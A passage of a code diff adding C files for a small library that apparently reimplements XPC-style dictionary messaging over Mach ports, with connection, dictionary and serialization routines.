kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
|
||||
|
||||
return connection;
|
||||
}
|
||||
|
||||
spc_connection_t* spc_create_connection_mach_service(const char* service_name)
|
||||
{
|
||||
kern_return_t kr;
|
||||
mach_port_t service_port;
|
||||
|
||||
kr = spc_look_up_endpoint(service_name, 7, 0, 0, 0, &service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return spc_create_connection_mach_port(service_port);
|
||||
}
|
||||
|
||||
spc_connection_t* spc_accept_connection(mach_port_t port)
|
||||
{
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t recv_port;
|
||||
mach_msg_port_descriptor_t send_port;
|
||||
mach_msg_trailer_t trailer;
|
||||
} msg;
|
||||
|
||||
mach_msg_return_t kr = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
|
||||
|
||||
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
|
||||
connection->receive_port = msg.recv_port.name;
|
||||
connection->send_port = msg.send_port.name;
|
||||
|
||||
return connection;
|
||||
}
|
||||
|
||||
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* dict)
|
||||
{
|
||||
spc_message_t msg;
|
||||
msg.id = 0x10000000;
|
||||
msg.remote_port.name = connection->send_port;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg.local_port.name = MACH_PORT_NULL;
|
||||
msg.local_port.type = 0;
|
||||
msg.content = dict;
|
||||
spc_send(&msg);
|
||||
}
|
||||
|
||||
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* dict)
|
||||
{
|
||||
spc_message_t msg;
|
||||
msg.id = 0x10000000;
|
||||
msg.remote_port.name = connection->send_port;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg.local_port.name = mig_get_reply_port();
|
||||
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
|
||||
msg.content = dict;
|
||||
spc_send(&msg);
|
||||
|
||||
spc_message_t* reply = spc_recv(msg.local_port.name);
|
||||
dict = reply->content;
|
||||
free(reply);
|
||||
|
||||
return dict;
|
||||
}
|
||||
|
||||
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection)
|
||||
{
|
||||
spc_message_t* msg = spc_recv(connection->receive_port);
|
||||
|
||||
spc_dictionary_t* dict = msg->content;
|
||||
free(msg);
|
||||
|
||||
return dict;
|
||||
}
|
||||
|
||||
void spc_reply(spc_message_t* orig, spc_dictionary_t* reply)
|
||||
{
|
||||
spc_message_t msg;
|
||||
msg.id = 0x20000000;
|
||||
msg.remote_port.name = orig->local_port.name;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
|
||||
msg.local_port.name = MACH_PORT_NULL;
|
||||
msg.local_port.type = 0;
|
||||
msg.content = reply;
|
||||
spc_send(&msg);
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
#ifndef _CONNECTION_H_
|
||||
#define _CONNECTION_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
|
||||
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
|
||||
|
||||
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port);
|
||||
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port);
|
||||
spc_connection_t* spc_create_connection_mach_service(const char* service_name);
|
||||
|
||||
spc_connection_t* spc_accept_connection(mach_port_t port);
|
||||
|
||||
// Low-level send/recv API
|
||||
void spc_send(spc_message_t* msg);
|
||||
spc_message_t* spc_recv(mach_port_t port);
|
||||
void spc_reply(spc_message_t* msg, spc_dictionary_t* reply);
|
||||
|
||||
// High-level send/recv API
|
||||
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* msg);
|
||||
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* msg);
|
||||
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,43 @@
|
|||
#include <stdlib.h>
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
const spc_port_t SPC_NULL_PORT = {.name = MACH_PORT_NULL, .type = 0};
|
||||
|
||||
spc_value_t spc_null_create()
|
||||
{
|
||||
spc_value_t null = { .type = SPC_TYPE_NULL };
|
||||
return null;
|
||||
}
|
||||
|
||||
void spc_value_destroy(spc_value_t value)
|
||||
{
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_STRING:
|
||||
free(value.value.str);
|
||||
break;
|
||||
case SPC_TYPE_UUID:
|
||||
free(value.value.ptr);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
free(value.value.data.ptr);
|
||||
break;
|
||||
case SPC_TYPE_ARRAY:
|
||||
spc_array_destroy(value.value.array);
|
||||
break;
|
||||
case SPC_TYPE_DICT:
|
||||
spc_dictionary_destroy(value.value.dict);
|
||||
break;
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
case SPC_TYPE_FD:
|
||||
mach_port_deallocate(mach_task_self(), value.value.port.name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void spc_message_destroy(spc_message_t* msg)
|
||||
{
|
||||
spc_dictionary_destroy(msg->content);
|
||||
free(msg);
|
||||
}
|
|
@ -0,0 +1,91 @@
|
|||
#ifndef _DATATYPES_H_
|
||||
#define _DATATYPES_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
typedef struct {
|
||||
mach_port_t send_port; // A send right to a port on which the remote end can receive
|
||||
mach_port_t receive_port;
|
||||
} spc_connection_t;
|
||||
|
||||
#define SPC_TYPE_NULL 0x1000
|
||||
#define SPC_TYPE_BOOL 0x2000
|
||||
#define SPC_TYPE_INT64 0x3000
|
||||
#define SPC_TYPE_UINT64 0x4000
|
||||
#define SPC_TYPE_DOUBLE 0x5000
|
||||
#define SPC_TYPE_DATA 0x8000
|
||||
#define SPC_TYPE_STRING 0x9000
|
||||
#define SPC_TYPE_UUID 0xa000
|
||||
#define SPC_TYPE_FD 0xb000
|
||||
#define SPC_TYPE_SHMEM 0xc000
|
||||
#define SPC_TYPE_SEND_PORT 0xd000
|
||||
#define SPC_TYPE_ARRAY 0xe000
|
||||
#define SPC_TYPE_DICT 0xf000
|
||||
#define SPC_TYPE_RECV_PORT 0x15000
|
||||
|
||||
typedef struct _spc_dictionary_t spc_dictionary_t;
|
||||
typedef struct _spc_array_t spc_array_t;
|
||||
|
||||
typedef struct {
|
||||
mach_port_t name;
|
||||
mach_msg_type_name_t type;
|
||||
} spc_port_t;
|
||||
|
||||
const spc_port_t SPC_NULL_PORT;
|
||||
|
||||
typedef struct {
|
||||
unsigned char* ptr;
|
||||
size_t size;
|
||||
} spc_data_t;
|
||||
|
||||
typedef struct {
|
||||
uint32_t type;
|
||||
union {
|
||||
uint64_t u64;
|
||||
int64_t i64;
|
||||
double dbl;
|
||||
char* str;
|
||||
void* ptr;
|
||||
spc_data_t data;
|
||||
spc_dictionary_t* dict;
|
||||
spc_array_t* array;
|
||||
spc_port_t port;
|
||||
} value;
|
||||
} spc_value_t;
|
||||
|
||||
spc_value_t spc_null_create();
|
||||
void spc_value_destroy(spc_value_t value);
|
||||
|
||||
typedef struct _spc_array_t {
|
||||
spc_value_t* values;
|
||||
size_t length;
|
||||
size_t capacity;
|
||||
} spc_array_t;
|
||||
|
||||
typedef struct _spc_dictionary_item_t {
|
||||
char* key;
|
||||
spc_value_t value;
|
||||
struct _spc_dictionary_item_t* next;
|
||||
} spc_dictionary_item_t;
|
||||
|
||||
typedef struct _spc_dictionary_t {
|
||||
spc_dictionary_item_t* items;
|
||||
size_t num_items;
|
||||
} spc_dictionary_t;
|
||||
|
||||
|
||||
void spc_array_destroy(spc_array_t* dict);
|
||||
void spc_dictionary_destroy(spc_dictionary_t* dict);
|
||||
|
||||
// A message is essentially a mach message header and a dictionary
|
||||
typedef struct {
|
||||
spc_port_t local_port;
|
||||
spc_port_t remote_port;
|
||||
unsigned int id;
|
||||
spc_dictionary_t* content;
|
||||
} spc_message_t;
|
||||
|
||||
void spc_message_destroy(spc_message_t* msg);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,262 @@
|
|||
#include "datatypes.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
extern int fileport_makeport(int fd, mach_port_t* port);
|
||||
|
||||
spc_dictionary_t* spc_dictionary_create()
|
||||
{
|
||||
return calloc(sizeof(spc_dictionary_t), 1);
|
||||
}
|
||||
|
||||
void spc_dictionary_destroy(spc_dictionary_t* dict)
|
||||
{
|
||||
spc_dictionary_item_t* current, *last;
|
||||
current = dict->items;
|
||||
while (current) {
|
||||
free(current->key);
|
||||
|
||||
spc_value_destroy(current->value);
|
||||
|
||||
last = current;
|
||||
current = current->next;
|
||||
free(last);
|
||||
}
|
||||
|
||||
free(dict);
|
||||
}
|
||||
|
||||
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* current = dict->items;
|
||||
while (current) {
|
||||
if (strcmp(current->key, key) == 0)
|
||||
return current;
|
||||
|
||||
current = current->next;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
spc_dictionary_item_t* spc_dictionary_add_item(spc_dictionary_t* dict, const char* key, uint32_t type)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (item) {
|
||||
spc_value_destroy(item->value);
|
||||
} else {
|
||||
item = malloc(sizeof(spc_dictionary_item_t));
|
||||
item->next = dict->items;
|
||||
dict->items = item;
|
||||
dict->num_items++;
|
||||
item->key = strdup(key);
|
||||
}
|
||||
item->value.type = type;
|
||||
return item;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
|
||||
item->value = value;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
|
||||
item->value.value.str = strdup(value);
|
||||
}
|
||||
|
||||
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_UINT64);
|
||||
item->value.value.u64 = value;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_INT64);
|
||||
item->value.value.i64 = value;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* bytes, size_t len)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_DATA);
|
||||
void* buf = malloc(len);
|
||||
memcpy(buf, bytes, len);
|
||||
item->value.value.data.ptr = buf;
|
||||
item->value.value.data.size = len;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd)
|
||||
{
|
||||
mach_port_t fileport;
|
||||
fileport_makeport(fd, &fileport);
|
||||
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_FD);
|
||||
item->value.value.port.name = fileport;
|
||||
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
}
|
||||
|
||||
// TODO make port type a parameter
|
||||
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
|
||||
{
|
||||
mach_port_addref(port, MACH_PORT_RIGHT_SEND);
|
||||
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_SEND_PORT);
|
||||
item->value.value.port.name = port;
|
||||
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
|
||||
{
|
||||
mach_port_addref(port, MACH_PORT_RIGHT_RECEIVE);
|
||||
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_RECV_PORT);
|
||||
item->value.value.port.name = port;
|
||||
item->value.value.port.type = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_BOOL);
|
||||
item->value.value.u64 = value;
|
||||
}
|
||||
|
||||
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_UINT64)
|
||||
return 0;
|
||||
|
||||
return item->value.value.u64;
|
||||
}
|
||||
|
||||
int64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_INT64)
|
||||
return 0;
|
||||
|
||||
return item->value.value.i64;
|
||||
}
|
||||
|
||||
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_STRING)
|
||||
return NULL;
|
||||
|
||||
return item->value.value.str;
|
||||
}
|
||||
|
||||
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_BOOL)
|
||||
return 0;
|
||||
|
||||
return item->value.value.u64;
|
||||
}
|
||||
|
||||
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_SEND_PORT)
|
||||
return MACH_PORT_NULL;
|
||||
|
||||
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_SEND);
|
||||
return item->value.value.port.name;
|
||||
}
|
||||
|
||||
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_RECV_PORT)
|
||||
return MACH_PORT_NULL;
|
||||
|
||||
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_RECEIVE);
|
||||
return item->value.value.port.name;
|
||||
}
|
||||
|
||||
|
||||
void spc_dump_value(spc_value_t value, int indent)
|
||||
{
|
||||
char* indent_str = malloc(indent + 1);
|
||||
memset(indent_str, ' ', indent);
|
||||
indent_str[indent] = 0;
|
||||
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_NULL:
|
||||
printf("%*cnull\n", indent, ' ');
|
||||
break;
|
||||
case SPC_TYPE_BOOL:
|
||||
printf("%*c%s\n", indent, ' ', value.value.u64 ? "true" : "false");
|
||||
break;
|
||||
case SPC_TYPE_UINT64:
|
||||
printf("%*c%llu\n", indent, ' ', value.value.u64);
|
||||
break;
|
||||
case SPC_TYPE_INT64:
|
||||
printf("%*c%lli\n", indent, ' ', value.value.i64);
|
||||
break;
|
||||
case SPC_TYPE_DOUBLE:
|
||||
printf("%*c%f\n", indent, ' ', value.value.dbl);
|
||||
break;
|
||||
case SPC_TYPE_STRING:
|
||||
printf("%*c%s\n", indent, ' ', value.value.str);
|
||||
break;
|
||||
case SPC_TYPE_UUID: {
|
||||
char buf[0x21];
|
||||
for (int i = 0; i < 0x10; i++) {
|
||||
sprintf(&buf[2*i], "%02x", ((unsigned char*)value.value.str)[i]);
|
||||
}
|
||||
buf[0x20] = 0;
|
||||
printf("%*cuuid: %s\n", indent, ' ', buf);
|
||||
break;
|
||||
}
|
||||
case SPC_TYPE_ARRAY: {
|
||||
spc_array_t* array = value.value.array;
|
||||
printf("%*c[\n", indent, ' ');
|
||||
for (size_t i = 0; i < array->length; i++) {
|
||||
spc_dump_value(array->values[i], indent + 2);
|
||||
}
|
||||
printf("%*c]\n", indent, ' ');
|
||||
break;
|
||||
}
|
||||
case SPC_TYPE_DICT: {
|
||||
spc_dictionary_item_t* current = value.value.dict->items;
|
||||
while (current) {
|
||||
printf("%*c%s:\n", indent, ' ', current->key);
|
||||
spc_dump_value(current->value, indent + 2);
|
||||
current = current->next;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
printf("%*cport send right: %d\n", indent, ' ', value.value.port.name);
|
||||
break;
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
printf("%*cport receive right: %d\n", indent, ' ', value.value.port.name);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
printf("%*cdata: 0x", indent, ' ');
|
||||
for (size_t i = 0; i < value.value.data.size; i++)
|
||||
printf("%02x", value.value.data.ptr[i]);
|
||||
printf("\n");
|
||||
break;
|
||||
default:
|
||||
printf("%*cUnknown item of type %d\n", indent, ' ', value.type);
|
||||
}
|
||||
|
||||
free(indent_str);
|
||||
}
|
||||
|
||||
void spc_dump(spc_dictionary_t* dict)
|
||||
{
|
||||
spc_value_t value;
|
||||
value.type = SPC_TYPE_DICT;
|
||||
value.value.dict = dict;
|
||||
spc_dump_value(value, 0);
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
|
||||
#ifndef _DICTIONARY_H_
|
||||
#define _DICTIONARY_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
spc_dictionary_t* spc_dictionary_create();
|
||||
|
||||
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value);
|
||||
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value);
|
||||
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value);
|
||||
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value);
|
||||
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value);
|
||||
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* value, size_t len);
|
||||
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
|
||||
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port);
|
||||
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd);
|
||||
|
||||
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key);
|
||||
|
||||
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key);
|
||||
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key);
|
||||
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key);
|
||||
uint64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key);
|
||||
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key);
|
||||
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key);
|
||||
|
||||
void spc_dump(spc_dictionary_t* dict);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,469 @@
|
|||
#include "serialization.h"
|
||||
#include "array.h"
|
||||
#include "dictionary.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned char* start;
|
||||
unsigned char* end;
|
||||
unsigned char* ptr;
|
||||
size_t num_ports;
|
||||
spc_port_t* ports;
|
||||
} writer_t;
|
||||
|
||||
typedef struct {
|
||||
unsigned char* end;
|
||||
unsigned char* ptr;
|
||||
size_t next_port;
|
||||
size_t num_ports;
|
||||
spc_port_t* ports;
|
||||
} reader_t;
|
||||
|
||||
char last_header[8] = "CPX@\x05\x00\x00\x00";
|
||||
|
||||
void spc_ensure_space(writer_t* writer, size_t num_bytes)
|
||||
{
|
||||
if (writer->ptr + num_bytes > writer->end) {
|
||||
size_t new_size = (writer->end - writer->start) + num_bytes;
|
||||
void* buf = realloc(writer->start, new_size);
|
||||
writer->ptr = buf + (writer->ptr - writer->start);
|
||||
writer->start = buf;
|
||||
writer->end = buf + new_size;
|
||||
}
|
||||
}
|
||||
|
||||
size_t spc_write(writer_t* writer, void* buf, size_t len)
|
||||
{
|
||||
spc_ensure_space(writer, len);
|
||||
|
||||
memcpy(writer->ptr, buf, len);
|
||||
writer->ptr += len;
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
size_t spc_write_padded(writer_t* writer, const void* buf, size_t len)
|
||||
{
|
||||
size_t remainder = (4 - (len % 4)) % 4;
|
||||
|
||||
spc_ensure_space(writer, len + remainder);
|
||||
|
||||
memcpy(writer->ptr, buf, len);
|
||||
writer->ptr += len;
|
||||
memset(writer->ptr, 0, remainder);
|
||||
writer->ptr += remainder;
|
||||
|
||||
return len + remainder;
|
||||
}
|
||||
|
||||
size_t spc_write_str(writer_t* writer, const char* str)
|
||||
{
|
||||
return spc_write_padded(writer, str, strlen(str) + 1);
|
||||
}
|
||||
|
||||
size_t spc_write_uint32(writer_t* writer, uint32_t val)
|
||||
{
|
||||
// TODO replace with
|
||||
// spc_write(writer, &val, 4);
|
||||
spc_ensure_space(writer, 4);
|
||||
|
||||
memcpy(writer->ptr, &val, 4);
|
||||
writer->ptr += 4;
|
||||
|
||||
return 4;
|
||||
}
|
||||
|
||||
size_t spc_write_uint64(writer_t* writer, uint64_t val)
|
||||
{
|
||||
spc_ensure_space(writer, 8);
|
||||
|
||||
memcpy(writer->ptr, &val, 8);
|
||||
writer->ptr += 8;
|
||||
|
||||
return 8;
|
||||
}
|
||||
|
||||
size_t spc_write_int64(writer_t* writer, uint64_t val)
|
||||
{
|
||||
spc_ensure_space(writer, 8);
|
||||
|
||||
memcpy(writer->ptr, &val, 8);
|
||||
writer->ptr += 8;
|
||||
|
||||
return 8;
|
||||
}
|
||||
|
||||
size_t spc_write_double(writer_t* writer, double val)
|
||||
{
|
||||
spc_ensure_space(writer, 8);
|
||||
|
||||
memcpy(writer->ptr, &val, 8);
|
||||
writer->ptr += 8;
|
||||
|
||||
return 8;
|
||||
}
|
||||
|
||||
void spc_write_port(writer_t* writer, spc_port_t port)
|
||||
{
|
||||
writer->ports = realloc(writer->ports, (writer->num_ports + 1) * sizeof(spc_port_t));
|
||||
writer->ports[writer->num_ports] = port;
|
||||
writer->num_ports += 1;
|
||||
}
|
||||
|
||||
size_t spc_write_array(writer_t* writer, spc_array_t* array);
|
||||
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict);
|
||||
|
||||
size_t spc_serialize_value(writer_t* writer, spc_value_t value)
|
||||
{
|
||||
size_t bytes_written = 0;
|
||||
bytes_written += spc_write_uint32(writer, value.type);
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_NULL:
|
||||
break;
|
||||
case SPC_TYPE_BOOL:
|
||||
bytes_written += spc_write_uint32(writer, value.value.u64);
|
||||
break;
|
||||
case SPC_TYPE_UINT64:
|
||||
bytes_written += spc_write_uint64(writer, value.value.u64);
|
||||
break;
|
||||
case SPC_TYPE_INT64:
|
||||
bytes_written += spc_write_int64(writer, value.value.i64);
|
||||
break;
|
||||
case SPC_TYPE_DOUBLE:
|
||||
bytes_written += spc_write_double(writer, value.value.dbl);
|
||||
break;
|
||||
case SPC_TYPE_STRING:
|
||||
bytes_written += spc_write_uint32(writer, strlen(value.value.str) + 1);
|
||||
bytes_written += spc_write_str(writer, value.value.str);
|
||||
break;
|
||||
case SPC_TYPE_ARRAY:
|
||||
bytes_written += spc_write_array(writer, value.value.array);
|
||||
break;
|
||||
case SPC_TYPE_DICT:
|
||||
bytes_written += spc_write_dict(writer, value.value.dict);
|
||||
break;
|
||||
case SPC_TYPE_FD:
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
spc_write_port(writer, value.value.port);
|
||||
break;
|
||||
case SPC_TYPE_UUID:
|
||||
bytes_written += spc_write(writer, value.value.ptr, 0x10);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
bytes_written += spc_write_uint32(writer, value.value.data.size);
|
||||
bytes_written += spc_write_padded(writer, value.value.data.ptr, value.value.data.size);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported value type: 0x%x\n", value.type);
|
||||
}
|
||||
|
||||
return bytes_written;
|
||||
}
|
||||
|
||||
size_t spc_write_array(writer_t* writer, spc_array_t* array)
|
||||
{
|
||||
size_t bytes_written = 0;
|
||||
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
|
||||
spc_write_uint32(writer, 0); // placeholder for byte size
|
||||
|
||||
bytes_written += spc_write_uint32(writer, array->length);
|
||||
|
||||
for (size_t i = 0; i < array->length; i++) {
|
||||
bytes_written += spc_serialize_value(writer, array->values[i]);
|
||||
}
|
||||
|
||||
// Fill in correct byte size
|
||||
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
|
||||
return bytes_written + 4;
|
||||
}
|
||||
|
||||
size_t spc_write_dict(writer_t* writer, spc_dictionary_t* dict)
|
||||
{
|
||||
size_t bytes_written = 0;
|
||||
ptrdiff_t bytesize_offset = writer->ptr - writer->start;
|
||||
spc_write_uint32(writer, 0); // placeholder for byte size
|
||||
|
||||
bytes_written += spc_write_uint32(writer, dict->num_items);
|
||||
|
||||
for (spc_dictionary_item_t* item = dict->items; item != NULL; item = item->next) {
|
||||
bytes_written += spc_write_str(writer, item->key);
|
||||
bytes_written += spc_serialize_value(writer, item->value);
|
||||
}
|
||||
|
||||
// Fill in correct byte size
|
||||
*(uint32_t*)(writer->start + bytesize_offset) = bytes_written;
|
||||
return bytes_written + 4;
|
||||
}
|
||||
|
||||
spc_mach_message_t* spc_serialize(spc_message_t* msg)
|
||||
{
|
||||
spc_mach_message_t* mach_msg;
|
||||
|
||||
size_t actual_size, content_size, initial_size = msg->content->num_items * 32; // heuristic
|
||||
|
||||
writer_t writer;
|
||||
writer.start = malloc(initial_size);
|
||||
writer.end = writer.start + initial_size;
|
||||
writer.ptr = writer.start;
|
||||
writer.ports = NULL;
|
||||
writer.num_ports = 0;
|
||||
|
||||
spc_write(&writer, last_header, 8);
|
||||
spc_write_uint32(&writer, SPC_TYPE_DICT);
|
||||
spc_write_dict(&writer, msg->content);
|
||||
|
||||
content_size = writer.ptr - writer.start;
|
||||
char* ptr;
|
||||
|
||||
if (writer.num_ports != 0) {
|
||||
// Must create a complex messge
|
||||
actual_size = sizeof(mach_msg_header_t) + sizeof(mach_msg_body_t) + writer.num_ports * sizeof(mach_msg_port_descriptor_t) + content_size;
|
||||
mach_msg = malloc(actual_size);
|
||||
mach_msg->header.msgh_bits = MACH_MSGH_BITS_COMPLEX;
|
||||
|
||||
ptr = (char*)mach_msg + sizeof(mach_msg_header_t);
|
||||
mach_msg_body_t* body = (mach_msg_body_t*)ptr;
|
||||
body->msgh_descriptor_count = writer.num_ports;
|
||||
ptr += sizeof(mach_msg_body_t);
|
||||
|
||||
for (size_t i = 0; i < writer.num_ports; i++) {
|
||||
mach_msg_port_descriptor_t* descriptor = (mach_msg_port_descriptor_t*)ptr;
|
||||
descriptor->type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
descriptor->name = writer.ports[i].name;
|
||||
descriptor->disposition = writer.ports[i].type;
|
||||
ptr += sizeof(mach_msg_port_descriptor_t);
|
||||
}
|
||||
} else {
|
||||
actual_size = sizeof(mach_msg_header_t) + content_size;
|
||||
mach_msg = malloc(actual_size);
|
||||
mach_msg->header.msgh_bits = 0;
|
||||
ptr = (char*)mach_msg->buf;
|
||||
}
|
||||
|
||||
// Fill in the mach message
|
||||
mach_msg->header.msgh_remote_port = msg->remote_port.name;
|
||||
mach_msg->header.msgh_local_port = msg->local_port.name;
|
||||
mach_msg->header.msgh_id = msg->id;
|
||||
mach_msg->header.msgh_size = actual_size;
|
||||
mach_msg->header.msgh_bits |= MACH_MSGH_BITS(msg->remote_port.type, msg->local_port.type);
|
||||
memcpy(ptr, writer.start, content_size);
|
||||
|
||||
free(writer.start);
|
||||
|
||||
return mach_msg;
|
||||
}
|
||||
|
||||
void* spc_read(reader_t* reader, size_t len)
|
||||
{
|
||||
// Let it crash if the received message is invalid...
|
||||
if (reader->ptr + len > reader->end) {
|
||||
printf("OOB read in spc_read\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
void* res = reader->ptr;
|
||||
reader->ptr += len;
|
||||
return res;
|
||||
}
|
||||
|
||||
uint64_t spc_read_uint64(reader_t* reader)
|
||||
{
|
||||
return *(uint64_t*)spc_read(reader, 8);
|
||||
}
|
||||
|
||||
